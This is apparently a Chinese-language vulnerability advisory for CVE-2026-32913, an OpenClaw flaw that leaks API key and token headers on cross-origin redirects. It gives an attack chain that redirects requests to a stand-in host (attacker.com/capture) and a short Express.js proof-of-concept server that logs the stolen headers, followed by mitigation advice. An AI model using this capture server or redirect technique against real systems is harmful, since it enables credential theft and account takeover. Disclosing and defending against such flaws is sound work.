IPBUF安全漏洞报告
English
CVE-2026-32913 CVSS 9.3 严重

CVE-2026-32913 OpenClaw跨域重定向头部泄露漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-32913
漏洞类型
敏感信息泄露
CVSS评分
9.3 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

敏感信息泄露OpenClaw跨域重定向CWE-200CVSS-9.3

漏洞概述

OpenClaw 2026.3.7之前版本存在严重的安全漏洞。在fetchWithSsrFGuard的实现中,系统未能正确验证重定向目标,导致在跨源重定向过程中错误地转发了自定义授权头部。攻击者可利用此缺陷诱导请求重定向至恶意服务器,从而拦截本应发送给原始目标的敏感头部信息,如X-Api-Key和Private-Token。

技术细节

该漏洞的核心在于OpenClaw库中`fetchWithSsrFGuard`函数对HTTP重定向处理的不安全性。在正常的SSR(服务端渲染)或数据获取场景中,应用通常携带敏感头部(如X-Api-Key或Private-Token)请求内部资源。然而,当目标资源返回跨源重定向(如302 Found)时,OpenClaw的实现未遵循安全最佳实践,未在重定向前清除或验证授权头部。这允许攻击者利用开放重定向或控制响应链,将请求重定向至恶意的外部Origin。由于客户端会跟随重定向并携带原有头部,攻击者的服务器便能完整记录这些敏感凭证。利用此漏洞,攻击者无需直接攻破目标服务器,即可通过中间人攻击的方式窃取高权限API密钥,进而接管用户账户或后端服务,造成严重的数据泄露和安全事件。该问题的CVSS向量中的S:C(范围改变)也印证了其影响范围可能超出受影响的组件本身,波及整个应用生态。

攻击链分析

STEP 1
步骤1
攻击者识别出目标系统使用了存在漏洞的OpenClaw版本(< 2026.3.7)。
STEP 2
步骤2
攻击者寻找或构造一个能够触发服务器端请求的接口,该接口通过fetchWithSsrFGuard发起请求。
STEP 3
步骤3
攻击者诱导初始请求的目标返回一个302重定向响应,将Location指向攻击者控制的服务器(如http://attacker.com/capture)。
STEP 4
步骤4
受害者的OpenClaw组件在处理重定向时,未过滤X-Api-Key等敏感头部,直接跟随重定向向攻击者服务器发送新请求。
STEP 5
步骤5
攻击者服务器接收并记录下请求中包含的敏感授权头部信息,完成凭证窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC Concept: Sensitive Header Leakage via Cross-Origin Redirect // This script simulates a malicious server capturing headers const express = require('express'); const app = express(); // Endpoint acting as the malicious redirect target app.get('/capture', (req, res) => { // Check if sensitive headers are present in the request const apiKey = req.headers['x-api-key']; const privateToken = req.headers['private-token']; if (apiKey || privateToken) { console.log('[+] Successfully intercepted headers:'); console.log(` X-Api-Key: ${apiKey}`); console.log(` Private-Token: ${privateToken}`); res.send('Headers intercepted successfully.'); } else { console.log('[-] No sensitive headers found in request.'); res.status(400).send('No headers found.'); } }); // Start the listener app.listen(8080, () => { console.log('Malicious server listening on port 8080...'); console.log('Waiting for vulnerable OpenClaw instance to redirect here.'); });

影响范围

OpenClaw < 2026.3.7

防御指南

临时缓解措施
在升级修复版本前,应严格限制应用程序发出的外部重定向请求。建议在代码层面拦截所有跨域重定向响应,或者在使用fetchWithSsrFGuard时,确保不会携带敏感头部进行可能跳转的请求。对API Key等敏感信息进行严格的作用域限制,防止泄露后被滥用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表